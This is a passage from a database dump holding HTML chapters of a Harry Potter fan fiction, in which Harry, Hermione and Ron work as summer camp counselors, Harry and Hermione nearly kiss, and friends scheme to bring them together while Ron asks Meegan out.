always has. Hermione scowled at herself and started eating. She didn\'t need to keeping the inner battle of her feeling toward Harry going any longer of she\'d go absolutely insane.</p> '),
	(134, 6, ' <p>~*~<br>\n\n\n<br>\n Chapter Six<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Harry Potter saved you!&quot; Juliet squealed dreamily as Hermione and her cabin walked to the lake for an afternoon swim. She\'d finally gotten far enough away from the rest of the girls so that she could discuss Harry with Hermione.<br>\n\n\n<br>\n &quot;He seems to do that a lot,&quot; she smiled. Shaking her head. She did not need to be his damsel. She tried to counter herself with all the times her brains had saved him, but Juliet began talking again.<br>\n\n\n<br>\n &quot;You didn\'t tell me he was here! He\'s the most famous wizard of our generation! It\'s like having Britney Spears here to all these Muggles!&quot; she went of excitedly.<br>\n\n\n<br>\n &quot;Juliet, please don\'t mention anything here at camp,&quot; she started, but Juliet kept going.<br>\n\n\n<br>\n &quot;Don\'t worry they can\'t here me. And Ron is here too?&quot; she smiled.<br>\n\n\n<br>\n &quot;How do you know Ron?&quot; Hermione was very interested.<br>\n\n\n<br>\n &quot;Lavender has pictures. I think she fancies him!&quot; she giggled devilishly.<br>\n\n\n<br>\n &quot;Really now?&quot; Hermione smiled, she couldn\'t wait to get back to Gryffindor and use this to her advantage, or at least, her amusement.<br>\n\n\n<br>\n &quot;Oh yes! That\'s another reason I knew you! Lav is very jealous you spend so much time with \'Ronnie\',&quot; she winked with a giggle as they neared the water.<br>\n\n\n<br>\n Hermione gave her a perplexed smile as she stopped at the water\'s edge. Dropping her towel, she revealed a cute dark blue and white polka dotted bikini. After carefully spreading her towel along the dock, she gingerly laid down in hopes to get somewhat of a tan.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Harry, you know I\'m a rotten bad swimmer,&quot; Ron sulked, kicking at the dirt on the path down to the lake. He and Ron we clad in swimming trunks leading with Patrick and their boys behind them. Patrick had been a camper before he was a counselor, so he naturally hung out with the campers more.<br>\n\n\n<br>\n &quot;There are lifeguards Ron,&quot; Harry stated plainly.<br>\n\n\n<br>\n &quot;What if they don\'t see me go down?&quot; he continued.<br>\n\n\n<br>\n &quot;I\'ll save you,&quot; Harry rolled his eyes with a sigh.<br>\n\n\n<br>\n &quot;Thanks Harry, you\'re a pal,&quot; he patted his shoulder then walked off to dive in.<br>\n\n\n<br>\n &quot;Lucky me.&quot; Harry mumbled. He began walking toward the dock and his campers flew past him, cannonballing off the dock in record time, until he stopped dead in his tracks. Before him stood Hermione in the tiniest thing he\'d ever seen her wear. She looked absolutely gorgeous. She seemed even more beautiful at that moment, standing in the sun, with the water sparkling beyond her.<br>\n\n\n<br>\n He had no idea how long he\'d been gaping until a bright flash went off, startling him.<br>\n\n\n<br>\n &quot;William!&quot; Harry yelled, turning to the shore beside the dock.<br>\n\n\n<br>\n &quot;Sorry...&quot; he mumbled, lowering the camera.<br>\n\n\n<br>\n When he turned back to Hermione, she was looking right at him. Harry froze, swallowing a large gulp of air. He was frozen in her gaze.<br>\n\n\n<br>\n &quot;Harry?&quot; she giggled breaking the spell. &quot;Come on you git! Get over here!&quot; She motioned for him to come over.<br>\n\n\n<br>\n He was nervous and he had no idea why. This was his best friend! Well, he had some idea why, but it wasn\'t supposed to be like this! He was never nervous around her.<br>\n\n\n<br>\n \'Get a grip. Potter,\' he chastised himself as he put on a smile and walked over to her.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n \'Wow, he looks amazing!\' Hermione smiled as Harry made his way to her. Suddenly she was very self-conscious of what she was wearing. She didn\'t need Harry laughing at her non-existent figure.<br>\n\n\n<br>\n &quot;Hey Hermione,&quot; he smiled as he stopped in front of her.<br>\n\n\n<br>\n She smiled goofily. \'Okay, now would be the time to talk!\' her brain directed her. &quot;Hey Harry.&quot;<br>\n\n\n<br>\n &quot;So did you want something?&quot; he rose an eyebrow.<br>\n\n\n<br>\n &quot;Uh, what?&quot; she stuttered.<br>\n\n\n<br>\n &quot;You just called me over,&quot; he smiled.<br>\n\n\n<br>\n &quot;Oh, right,&quot; she blushed.<br>\n\n\n<br>\n &quot;You are such a girl,&quot; he laughed reaching out and giving her a playful poke to the stomach as he passed her walking to the edge of the dock to give a quick glance to see if Ron had drown yet.<br>\n\n\n<br>\n Hermione gave him a smirk from behind, &quot;What\'s that supposed to mean?&quot; She closed in on him.<br>\n\n\n<br>\n &quot;What?&quot; he turned around coming face to face with her.<br>\n\n\n<br>\n &quot;How\'s this for a girl?&quot; she rose an evil eyebrow, giving him a shove to the chest. Harry wobbled a bit then fell straight backwards into the lake.<br>\n\n\n<br>\n &quot;Nice one Hermione,&quot; Meegan laughed coming onto the dock behind her.<br>\n\n\n<br>\n Hermione looked over to say something to Megan but a sputtering sound coming from the water drew her attention back to Harry who had just surfaced.<br>\n\n\n<br>\n &quot;HERMIONE GRANGER! YOU ARE SO GOING TO PAY!&quot; he smiled, quickly swimming to the ladder, straight toward her.<br>\n\n\n<br>\n &quot;Damn.&quot; she muttered. She hadn\'t expected him to retaliate. Turning, she took of padding in her bare feet down and back off the dock.<br>\n\n\n<br>\n &quot;See you,&quot; Meegan laughed at Hermione as she turned back to watch a dripping Harry climb out of the water and begin chasing after her.<br>\n\n\n<br>\n Hermione took a quick glance over her shoulder as her feet left the dock. Harry was already out of the water and gaining on her. She turned away and picked up her pace along the lake. She could here the boy campers yelling, &quot;Get her Harry!&quot; and laughing. The girl were equally yelling, &quot;Run Hermione, Run!&quot; None of them had any idea why both were running, they just saw the chase and naturally wanted to get into the action.<br>\n\n\n<br>\n Hermione took another look over her shoulder; Harry was gaining. Luckily for her, he didn\'t have shoes on either so it made it difficult for both of them. She looked forward again to see that they were getting far enough around the corner that she couldn\'t see the people swimming any longer.<br>\n\n\n<br>\n Ahead of her she saw the beginnings of the currently deserted lower playfield. Deciding that grass would feel much better under her feet, she decided to turn and start running across the playfield instead. Sure she could stop, but she was halfway to the safety of her cabin by now, and she knew what Harry was capable of which is why she was running.<br>\n\n\n<br>\n She\'d almost made it all the way across the playfield when she felt a strong pair of arms encircle her waist. Next thing she knew she was falling, or more so, being tackled and brought down to the ground. &quot;Gotcha,&quot; she heard a husky and out of breath whisper reach her ear.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n He had no idea why he\'d insisted in following her for so long, his feet hurt immensely and she was going to royally kick his butt later for retaliating, but it was what they always did. Her, Ron, and himself were notorious for starting wars and not backing down.<br>\n\n\n<br>\n Finally, he reached her in the middle of the grassy lower playfield. Stretching out, he managed to get his hands around her waist. They slid easily around the bare skin of her middle.&nbsp; Quickly he pulled her tight against him, fully, before tipping over sideways and taking her to the ground with him.<br>\n\n\n<br>\n Purposefully, Harry took most of the brunt of the fall, pulling Hermione partially on top of him. As they settled, he whispered into her ear, &quot;Gotcha.&quot;<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione felt a chill tingle up and down her spine, from the tips of her toes to the top of her head at the sound of his voice. She almost melted right there and then but the she remembered he\'d been chasing her. Quickly she made a move to escape, but was halted as his arms tightened even more around her. She felt herself turning until her back was on the ground and Harry was on top of her, merely inches from her face.<br>\n\n\n<br>\n She couldn\'t do anything but stare up into his eyes. Her pulse rapidly began to accelerate and her breath became thready. She was completely mesmerized by his scent, the feel of his breath reaching her lips, the fact that he was slowly getting closer to her.<br>\n\n\n<br>\n Hermione felt her breath catch in her throat. He was so close now; his nose was nearly touching hers. Her eyes threatened her to close and pray he didn\'t disappear when she did so.<br>\n\n\n<br>\n &quot;Hey Hermione...&quot; he drawled leaning in so closely she thought she might faint.<br>\n\n\n<br>\n &quot;Ye&#8230;yes, Harry?&quot; she managed in a voice barely meriting being called a whisper.<br>\n\n\n<br>\n &quot;I just wanted to tell you.&quot; he leaned in and she could have sworn she felt his nose brush hers, &quot;GOTCHA!!&quot; He grinned, leaning back as his hands flew back to her sides and began mercilessly tickling her.<br>\n\n\n<br>\n She wanted to sigh in exasperation but she didn\'t have time as giggles overtook her body. All she could do was try her might to squirm out of his grasp. &quot;Harry, Harry please!&quot; She begged through tears of laughter.<br>\n\n\n<br>\n &quot;What was that you said? Was it \'I\'m sorry for pushing you in the water, Harry?\'&quot; he teased while continuing his assault on her waist.<br>\n\n\n<br>\n &quot;I&#8230;&quot; she gasped for more air, &quot;I\'m soo&#8230;soor...&quot; she could speak she was laughing to much.<br>\n\n\n<br>\n &quot;What was that?&quot; he smiled as he leaned in close again and held his fingers at bay against her soft flesh.<br>\n\n\n<br>\n &quot;I\'m&#8230;sorry,&quot; she managed as her laughter quickly subsided and her desire for him returned.<br>\n\n\n<br>\n &quot;That\'s better,&quot; he smiled broadly, his husky voice returning as he began leaning closer again.<br>\n\n\n<br>\n \'This is it!\' Hermione mind screamed as she let her eyelids flutter shut. Time and space seemed to slow as he neared her. It was the perfect moment.</p> '),
	(134, 7, ' <p>recap of the end of chapter six.. <br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;What was that you said? Was it \'I\'m sorry for pushing you in the water, Harry?\'&quot; he teased while continuing his assault on her waist.<br>\n\n\n<br>\n &quot;I&#8230;&quot; she gasped for more air, &quot;I\'m soo&#8230;soor...&quot; she could speak she was laughing to much.<br>\n\n\n<br>\n &quot;What was that?&quot; he smiled as he leaned in close again and held his fingers at bay against her soft flesh.<br>\n\n\n<br>\n &quot;I\'m&#8230;sorry,&quot; she managed as her laughter quickly subsided and her desire for him returned.<br>\n\n\n<br>\n &quot;That\'s better,&quot; he smiled broadly, his husky voice returning as he began leaning closer again.<br>\n\n\n<br>\n \'This is it!\' Hermione mind screamed as she let her eyelids flutter shut. Time and space seemed to slow as he neared her. It was the perfect moment.</p>\n\n<p><br>\n ~*~<br>\n\n\n<br>\n Chapter Seven<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Loud, high-pitched screams suddenly filled the air, followed by the sound of stampeding feet.<br>\n\n\n<br>\n Harry jerked his head back and both their eyes flew wide open, growing immensely in size. Harry glanced at Hermione below and surveyed their current position. They were both scantily clad. Especially with him fully on top of her, it didn\'t look good for the both of them.<br>\n\n\n<br>\n The yells were getting louder; it was coming from the trail to the lake. Quickly, Harry rolled off Hermione and they both scrambled to their feet, brushing the grass off of themselves. Hermione glanced at her arm and quickly pulled the strap of her bikini top, which had fallen haphazardly, back up on her shoulder. Just as they did, a stampede of kids and counselors came up from the lake and continued up toward the cabins.<br>\n\n\n<br>\n Hermione looked at Harry for a brief moment. He was staring at her breathlessly, wondering himself what had just almost happened. Before she could say anything, Meegan ran up to her.<br>\n\n\n<br>\n &quot;Hermione, I brought your towel,&quot; she handed it to her. She glanced at Hermione and then at Harry, noticing they were both breathing quite heavily. &quot;Have a good run?&quot; she giggled before grabbing Hermione\'s wrist. &quot;Sorry to rescue you from Harry\'s torture,&quot; she gave them an evil smile, &quot;but we need to get back to the cabin. I don\'t want to leave Allison alone with all the girls. Bye Harry!&quot; she called as she drug Hermione away.<br>\n\n\n<br>\n &quot;Bye Harry.&quot; Hermione said quickly, looking over her shoulder as she was pulled away from him. She kept her head focused on him until she was lost in the crowd.<br>\n\n\n<br>\n Harry stood there and sighed, \'Potter, you imbecile! What were you thinking! She\'s going to figure out you like her if you keep carrying on like this. Who knows what she\'ll do if she finds out! She could stop talking to you, you git! Or worse, beat you to a pulp for considering such an absurd thing!\'<br>\n\n\n<br>\n Ron stopped in the crowd, noticing Harry pacing back and forth alone in the field. He was waving his hands around and muttering to himself. Ron gave him a funny look as he approached.<br>\n\n\n<br>\n &quot;Oy, Harry. What\'s it this time?&quot; he handed Harry his towel as he stopped pacing and gave Ron an embarrassed smile.<br>\n\n\n<br>\n &quot;I was chasing Hermione,&quot; he said quietly as he accepted the towel from Ron.<br>\n\n\n<br>\n &quot;And...?&quot; Ron asked as the two slowly began walking toward the tail end of the campers leaving the trail.<br>\n\n\n<br>\n &quot;I think I almost kissed her,&quot; he looked at Ron for an answer. The last few campers had gone up the trail and it was just Harry and Ron walking up it now.<br>\n\n\n<br>\n &quot;You think?&quot; Ron said as he gave a grimacing face and tried to wave some dust out of his face that had risen off the trail due to the running campers who\'d just gone through.<br>\n\n\n<br>\n &quot;I was chasing her and then I caught her over there in the field,&quot; he stopped to coughed a bit as Ron waved dust into his face. He gave him a nasty look.<br>\n\n\n<br>\n &quot;Sorry, go on then,&quot; Ron shrugged with a small smile of apology.<br>\n\n\n<br>\n &quot;Like I was saying, I tackled her and began tickling her. Nothing we wouldn\'t have normally done. But then I noticed how close I was to her. Did you see what she was wearing?! And there I was, lying on top of her. I just started leaning toward her. It was like I didn\'t have a choice. As if there were magnets inside each of our heads and the pull was too strong for me to avoid it,&quot; Harry was looking at his feet, kicking dirt as they stopped outside their cabin.<br>\n\n\n<br>\n &quot;And?!!?!?!&quot; Ron was on edge. He needed to know the end of the story.<br>\n\n\n<br>\n &quot;And then the campers came up from the lake and we got up. Meegan came over and fetched Hermione, and then you came,&quot; he shrugged. A disappointed look crossed his face again.<br>\n\n\n<br>\n &quot;Did Meegan look alright?&quot; Ron grinned suddenly.<br>\n\n\n<br>\n &quot;Shut up!&quot; Harry laughed, punching him in the arm as he passed by him and entered the cabin. Ron smiled with a dreamy smile as he pictured Meegan in the skimpiest bikini he could cook up in his mind. Which actually covered a lot since Ron was too embarrassed at the thought to conjure up anything better.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Hermione!!!!!!!&quot; Meegan squealed, tugging on her wrist and pulling her away from their cabin and around back behind it. &quot;Well?&quot;<br>\n\n\n<br>\n &quot;Well what?&quot; she blushed, looking at her feet.<br>\n\n\n<br>\n &quot;Didn\'t I tell you he fancied you!&quot; she smiled, releasing Hermione\'s wrist and clasping her hands together excitedly.<br>\n\n\n<br>\n &quot;He does not. Really Meegan. All he did was chase me. I started it. It\'s always been like this. Harry, Ron, and I constantly play nasty tricks on one another and someone always retaliates. Harry just happened to catch me this time and subject me to some tickling. Like I told you, nothing we don\'t do all the time,&quot; she turned away. A slight look of hurt filled her eyes as she realized she was right. Harry wasn\'t going to kiss her; he was simply teasing her as always. \'You\'re going insane, Granger! Making yourself think Harry Potter would fancy the likes of you! You\'re mad with infatuation!\'<br>\n\n\n<br>\n &quot;Hermione, are you alright?&quot; Meegan gave her a curious look as a strange scowl crossed Hermione\'s face while she internally chastised herself.<br>\n\n\n<br>\n &quot;Oh, of course,&quot; she smiled, &quot;Come on then. You said it yourself. We shouldn\'t be leaving Allison alone.&quot; With that, Hermione turned on her heel and headed off promptly into their cabin.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n The loud echoes of children\'s laughter bounced off the walls of the lodge. Any meal there was usually very loud since it took a lot to get so many children to gather in one place and not cause a ruckus.<br>\n\n\n<br>\n Hermione looked down at her plate of potato salad and poked it with her fork. It barely looked edible and she didn\'t want to test out her theory that it wasn\'t. She\'d been in a rather downtrodden mood since they\'d gone to the lake that afternoon. Glancing up from her uneaten plate of food, she looked across the room to Harry\'s table. He was standing on the bench with straws poking out of his nose. The boys around him were applauding loudly with hollers of encouragement.<br>\n\n\n<br>\n &quot;Ugh,&quot; Hermione scowled, turning away from him and rolling her eyes. \'He\'s so immature. Obviously he\'s not thinking about earlier because there is nothing to think about! Point proven why you need to get over this stupid infatuation!\'<br>\n\n\n<br>\n &quot;What\'s with Hermione?&quot; Allison leaned in next to Meegan and whispered into her ear. They were seated on the adjacent corner to Hermione and had been watching her poke at her food the entire meal.<br>\n\n\n<br>\n &quot;She\'s in a bit of a state over Harry again,&quot; Meegan explained as they watched her look over toward Harry, then turn away in disgust.<br>\n\n\n<br>\n &quot;She\'s got it bad,&quot; Allison noted.<br>\n\n\n<br>\n &quot;I think we need to intervene a bit,&quot; Meegan turned to face Allison while she talked to her. A wicked smile was crossing her face.<br>\n\n\n<br>\n &quot;What do you have in mind?&quot; Allison grinned as Meegan leaned in, cupped her hand around her cousin\'s ear and began whispering her plan.<br>\n\n\n<br>\n &quot;You think it\'ll work,&quot; Allison smiled excitedly.<br>\n\n\n<br>\n &quot;Of course, I am near positive her sentiments are fully reciprocated,&quot; Meegan smiled turning back to her dinner. Throughout the rest of the meal, she noticed Hermione stealing glances at Harry more frequently. Though she denied it, Meegan knew Hermione was head over heels for Harry. They were going to get together, even if it took her all summer long.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n After dinner and some cabin time waiting for it to get dark, the entire camp had gathered on the wooden benches surrounding the campfire pit. Meegan and Allison were seated on one side of their campers, and Hermione was seated on the other side. In front of them the camp staff tended to the roaring fire.<br>\n\n\n<br>\n Some of the cabins had yet to arrive.&nbsp; While they were all waiting for them, they sang camp song led by Wendy, the Arts and Crafts Director. Currently, they were doing a round robin medley of &quot;Row, Row, Row Your Boat&quot;.<br>\n\n\n<br>\n Meegan noticed Ron and Harry leading their group up to the fire as she sang. She smiled to herself, then leaned to Allison next to her and whispered, &quot;Time to start phase one of our plan.&quot;<br>\n\n\n<br>\n &quot;Ron! Oh, Ron! Come sit over here by me!&quot; she called over the voices as he and Harry neared with their group.<br>\n\n\n<br>\n Ron froze. His eyes widened as Harry turned to judge his reaction. Harry knew how much Ron fancied Meegan. When he wasn\'t bugging Harry about Hermione, it was his other topic of choice.<br>\n\n\n<br>\n &quot;Harry, am I imagining things or did Meegan just talk to me?&quot; he was still frozen looking at her.<br>\n\n\n<br>\n &quot;She just talked to you,&quot; Harry smiled walking his group over to the empty benches next to Meegan and Hermione\'s group. Ron stood there dumbstruck for another moment before snapping to his senses and walking over to take the seat next to Meegan that Harry had made sure remained open. Harry, himself, had taken a seat on the other side of the group, out of earshot of Meegan and Ron.<br>\n\n\n<br>\n &quot;Hi,&quot; she smiled cheerily as he sat down. He looked at her and blushed as his arm brushed hers as he sat.<br>\n\n\n<br>\n &quot;Hello,&quot; he fumbled out.<br>\n\n\n<br>\n Meegan smiled. This was her favorite phase of her and Allison\'s plan to get Harry and Hermione together. Phase One, as they had dubbed it, solely entailed of Meegan making friends with Ron and gaining his trust so they could use him later in Phase Two. She hadn\'t complained at all when Allison suggested using Ron. In truth, due to the fact she liked him, she was very happy to accept the assignment.<br>\n\n\n<br>\n &quot;So are you having a good time at camp so far?&quot; she offered a bit of conversation. Everyone around them was still singing so she had to lean in a bit closer for Ron to be able to here her. This caused her to blush a bit along with Ron\'s already pink cheeks.<br>\n\n\n<br>\n &quot;Oh, I like it a lot. How many years have you been a counselor here for?&quot; he inquired.<br>\n\n\n<br>\n &quot;This is my third year. I was a camper here for two years before that.&quot;<br>\n\n\n<br>\n &quot;You must like it here a lot then,&quot; he smiled, gazing at her goofily, having also leaned a bit closer to hear well.<br>\n\n\n<br>\n &quot;Oh, I do very much so. This summer looks very promising to be the best yet,&quot; she smiled with a wink before turning away from Ron as the singing died down and Greg began talking to start campfire.<br>\n\n\n<br>\n Both Harry and Hermione had been watching their exchange from a distance. Harry figured it was right time Ron did something about his crush of Meegan. Hermione just smiled and thought it was cute that two of her friends liked each other so much.</p> '),
	(134, 8, ' <p>~*~<br>\n\n\n<br>\n PART EIGHT<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;So are you going to tell me what you\'ve been doing with Ron the past week?&quot; Hermione walked over to Meegan\'s bed and looked at her friend. She was still in her pajamas under the covers. It was seven in the morning and Hermione had just returned from a shower. Allison was still there with the other campers.<br>\n\n\n<br>\n Since campfire on the first night of camp, Meegan and Ron had spent the utmost possible time together. When they needed someone to wash dishes, both volunteered. When they needed assistants to help with Arts and Crafts, they volunteered. Basically, they took advantage of anytime they possibly could to spend time together.<br>\n\n\n<br>\n Over the past week, Hermione had tried her best to get it out of Meegan, but she wouldn\'t tell Hermione what she\'d been doing spending so much time with Ron. Naturally, Hermione wanted her to admit that she and Ron were a couple. She knew Ron liked Meegan. And Meegan had already admitted to her she liked Ron as well.<br>\n\n\n<br>\n &quot;I\'m still asleep, go away,&quot; she mumbled as she pulled the comforter up higher over her head. She\'d been avoiding Hermione\'s questioning purposefully. She\'d yet to do anything with Ron but spend time with him. Not that things weren\'t going well. &nbsp;She and Ron had grown very close. In fact, if something did develop, Hermione would be the first she would tell.<br>\n\n\n<br>\n Unfortunately for the time being, Hermione couldn\'t know any details. Until her and Ron became a couple or Phase One was completed, Hermione had to be left out for the sake of the plan. Meegan was certain though that Ron would ask her out any day now. And not only would this highly benefit her, since she fancied Ron quite a bit, but they she could move onto Phase Two of her and Allison\'s plan.<br>\n\n\n<br>\n &quot;Meeeeeeeeegan,&quot; Hermione sighed, flopping directly on top of her friend.<br>\n\n\n<br>\n &quot;UGH!&quot; she flipped the blanket down and stared at Hermione who was still on top of her. &quot;I&#8217;m still not going to tell you.&quot;<br>\n\n\n<br>\n &quot;Please?&quot; Hermione smiled as she fakely batted her eyelashes.<br>\n\n\n<br>\n &quot;I\'ve been hanging out with Ron, that\'s it,&quot; she tried to roll Hermione off of her but she wouldn\'t budge.<br>\n\n\n<br>\n &quot;Is that all?&quot; Hermione eyed her suspiciously.<br>\n\n\n<br>\n &quot;YES!&quot; Meegan attempted to roll her off again, &quot;I promise you...AHHHHHHHHHH!!!!!!!&quot;<br>\n\n\n<br>\n &quot;AHHHHHHHHH!!!!&quot;<br>\n\n\n<br>\n Both Meegan and Hermione screamed as she was finally successful on rolling Hermione off. Unfortunately, she became tangled in the blankets and took Meegan with her as they fell, landing in a tangled mob of blankets on the hard wood floor. They were still laughing when Allison and the girls returned from the showers and found them.<br>\n\n\n<br>\n &quot;I don\'t want to know,&quot; Allison gave them a weird look as the girls laughed and went to put their shower totes away.<br>\n\n\n<br>\n &quot;Fine, don\'t tell me,&quot; Hermione got up and went to fix her hair. Meegan sighed and threw the covers down. After rifling through her bag and throwing on some clothes (she\'d showered the night before instead), she went over and sat down on Allison\'s bed.<br>\n\n\n<br>\n &quot;Any closer?&quot; Allison asked casually as her cousin sat down.<br>\n\n\n<br>\n &quot;A bit. Hermione\'s getting nosy again though. Keep her occupied. And possibly get her to hang around Harry. Those two have been acting a bit goofy around each other lately,&quot; Meegan said as she watched Hermione across the room.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n It was after lunch and Harry and Hermione\'s groups were both in the Arts and Crafts room. They were all seated around the long tables with a few other cabins. Wendy was currently explaining how to make tissue paper butterflies.<br>\n\n\n<br>\n Ron and Meegan were sitting together as per usual at one end of a long table. At the other end, Harry and Hermione sat across from each other with Patrick and Allison next to them accordingly. Naturally, they were talking to their junior counselors and still trying to avoid each other as much as possible.<br>\n\n\n<br>\n &quot;Those two are gits,&quot; Ron mumbled as he scrunched some tissue paper next to Meegan. He was eyeing Harry and Hermione stealing glances at each other but refusing to speak to one another.<br>\n\n\n<br>\n &quot;What?&quot; Meegan smiled. She was hoping this would be the perfect moment to skip to the end of Phase One and bring Ron into the plan. Even if they didn\'t get together right away, she\'d still have him onboard to start Phase Two.<br>\n\n\n<br>\n &quot;Oh, nothing,&quot; he blushed a bit as he became immersed in his art project.<br>\n\n\n<br>\n &quot;Are you talking about Harry and Hermione?&quot; she smiled, lowering her voice to a whisper and leaning closer so only Ron could hear her.<br>\n\n\n<br>\n &quot;Um...yes, but it didn\'t mean anything,&quot; he mumbled.<br>\n\n\n<br>\n &quot;Don\'t you think they\'d be a cute couple?&quot; she ventured further. She was determined to pull it out of him.<br>\n\n\n<br>\n &quot;YES!&quot; he blurted out followed by a look of shock at his outburst. Lowering his voice to a near whisper he said again, &quot;Yes! Those two are infuriating!&quot; He looked relieved to finally vent.<br>\n\n\n<br>\n &quot;Tell me about it. All I hear from Hermione now is her trying to deny she ever told me she liked that boy,&quot; Meegan continued in a whisper as a smile came across her face.<br>\n\n\n<br>\n &quot;She said that?&quot; Ron smiled becoming excited.<br>\n\n\n<br>\n &quot;Oh yes,&quot; Meegan took the bait, &quot;that girl talked about it nonstop. That was until...&quot;<br>\n\n\n<br>\n &quot;Until what?!&quot; Ron demanded more.&nbsp; He&#8217;d stopped working on his art project and was now intently looking at Meegan.<br>\n\n\n<br>\n &quot;Well, I\'m not sure I\'m supposed to tell you more...&quot;<br>\n\n\n<br>\n &quot;Oh please!&quot; Ron desperately asked.<br>\n\n\n<br>\n Meegan smiled, it was just what she wanted to hear. That Ron was as intrigued as she was. &quot;Well something happened between those two, I don\'t really know what....Anyway, she\'s denied any feelings for him since and tried to avoid him.&quot;<br>\n\n\n<br>\n &quot;Harry\'s been the same way! For the past week he hasn\'t mentioned her at all,&quot; Ron looked excited but was omitting the fact that he knew what had happened between Harry and Hermione; that they\'d nearly kissed.<br>\n\n\n<br>\n &quot;What do you mean?&quot; Meegan\'s eyes grew in excitement too. \'This is it!\' she was hoping Ron would admit Harry\'s feelings too.<br>\n\n\n<br>\n &quot;Well,&quot; Ron looked around to make sure no one way paying attention to what they were saying, &quot;Harry told me he like \'Mione, but for the past week, he\'s been acting like she doesn\'t exist. I think he\'s just being a bloody idiot! Those two!&quot; Ron huffed.<br>\n\n\n<br>\n &quot;Ron, you and I have a lot in common,&quot; Meegan smiled evilly. &quot;See, I know Hermione likes Harry, even if she denies it now. And you just told me Harry likes Hermione, but he\'s been acting weird also. Do you see where I\'m going here?&quot;<br>\n\n\n<br>\n &quot;They like each other?&quot; Ron offered.<br>\n\n\n<br>\n &quot;Precisely. And I believe as their very good friends, it&#8217;s our duty to push them together,&quot; she giggled.<br>\n\n\n<br>\n &quot;You mean you want us to help them become a couple?&quot; he smiled finally catching on to what she meant.</p>\n\n<p>&quot;You\'re a smart boy Ron,&quot; she smiled back at him.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Talk to him!&quot; Allison leaned over and harshly whispered in Hermione\'s ear. She\'d been holding her tissue butterfly in her hands for the past five minutes and simply gazing at Harry instead.<br>\n\n\n<br>\n &quot;What?!&quot; Hermione quickly averted her gaze after Allison made her realize she\'d been staring.<br>\n\n\n<br>\n &quot;Just do it, you know you want to!&quot; she smiled as talked a bit too loudly.<br>\n\n\n<br>\n &quot;Allison hush. He\'s busy talking to Patrick besides,&quot; she turned back to crimping the wings of her butterfly.<br>\n\n\n<br>\n &quot;You\'re being ridiculous!&quot; Allison scoffed and turned back to her art project.<br>\n\n\n<br>\n Hermione sighed and looked up at Harry. She hadn\'t meant to ignore him this week. It was hard enough to convince herself she didn\'t like Harry but to accept the fact that he only thought of her as a friend had taken its toll. Really she wanted nothing more for it to be like it was. Obviously he was ignoring her though. He must have noticed she liked him and was now avoiding her for fear of hurting her feelings or something. Hermione sighed in frustration and turned back to her art project as well.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Uh huh, right Patrick,&quot; he replied. He\'d had no idea what he was being told. He was only pretending to really listen to Patrick. He was actually watching Hermione carefully folding the wings of her butterfly. He felt a pang in his heart as he watched her. He missed hearing her voice, the way she smiled, how she laughed. It had been a week and he was still avoiding her. He was so embarrassed from nearly kissing her, he was sure she didn\'t want anything to do with him. He was afraid if he talked to her, she\'d be mad at him for it.<br>\n\n\n<br>\n As he watched, Hermione glanced up at him. Their eyes locked for a moment before a flash of hurt went through them and she averted her gaze again. Harry\'s heart panged again. She was upset with him. He\'d never meant to hurt her. Now she was uncomfortable around him; upset with him for trying to make something more of their friendship when she obviously didn\'t want anything more.<br>\n\n\n<br>\n Sighing, Harry also turned back to his butterfly, defeated.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione, Allison, Meegan and their girls were playing cards on the floor of their cabin after Arts and Crafts (all cabins had mandatory cabin time until dinner) until a knock at their cabin door interrupted their game.<br>\n\n\n<br>\n Allison gave a sigh and hoisted herself up off the floor, &quot;I got it.&quot; She went over and answered the door, after a moment, she called for Meegan.<br>\n\n\n<br>\n Meegan went over to the door, and found Ron standing outside of it. &quot;Do you have a minute?&quot; he blushed, smiling at her.<br>\n\n\n<br>\n &quot;Sure,&quot; she turned to address her cabin, &quot;I\'ll be right back.&quot; She called before leaving with Ron. They walked about twenty feet away to a wooden bench and sat down next to each other.<br>\n\n\n<br>\n &quot;So you wanted to talk to me?&quot; Meegan smiled as she scooted a bit closer so her arm rested up against Ron\'s.<br>\n\n\n<br>\n &quot;Um, ya&#8230;&quot; he blushed uncomfortably.<br>\n\n\n<br>\n &quot;Is it about Harry and Hermione?&quot; she asked, wondering why else he\'d have asked to see her away from them.<br>\n\n\n<br>\n &quot;Not exactly. I was wondering....willyougooutwithmesometime?&quot; he rambled, looking down at his hands he was ringing nervously.<br>\n\n\n<br>\n &quot;What?!&quot; she giggled with a smile turning to him.<br>\n\n\n<br>\n &quot;Well...&quot; he said with a fluster and he fumbled around and reached for her fingertips. Gently, he held them with his. &quot;You see, I sort of fancy you...&quot; He blushed again but you couldn\'t tell as his cheeks nearly matched his hair.<br>\n\n\n<br>\n &quot;Sort of?&quot; she giggled, giving him a strange look.<br>\n\n\n<br>\n &quot;Not sort of, I do,&quot; he turned he gaze to their hands.<br>\n\n\n<br>\n &quot;I like you too,&quot; she smiled, &quot;I\'d love to go out with you.&quot; She giggled as Ron\'s head shot up in amazement.<br>\n\n\n<br>\n &quot;Really?!&quot; he looked bewildered.<br>\n\n\n<br>\n &quot;Yes you git!&quot; she laughed. &quot;Is it that hard to believe?&quot;<br>\n\n\n<br>\n &quot;I\'ve never been good with girls...&quot; he admitted quietly. &quot;I\'ve never...&quot; he coughed a bit, &quot;had a date before.&quot;<br>\n\n\n<br>\n &quot;I don\'t see why. You\'re quite cute,&quot; she giggled.<br>\n\n\n<br>\n &quot;You too,&quot; he laughed as he leaned over and kissed her cheek. When he pulled back, he looked more embarrassed than ever.<br>\n\n\n<br>\n &quot;I um, should go back to my girls. Do you want to sit by me at campfire,&quot; Meegan blushed.<br>\n\n\n<br>\n &quot;I\'d love to,&quot; he smiled standing up with her. Their fingers were now interlaced.<br>\n\n\n<br>\n 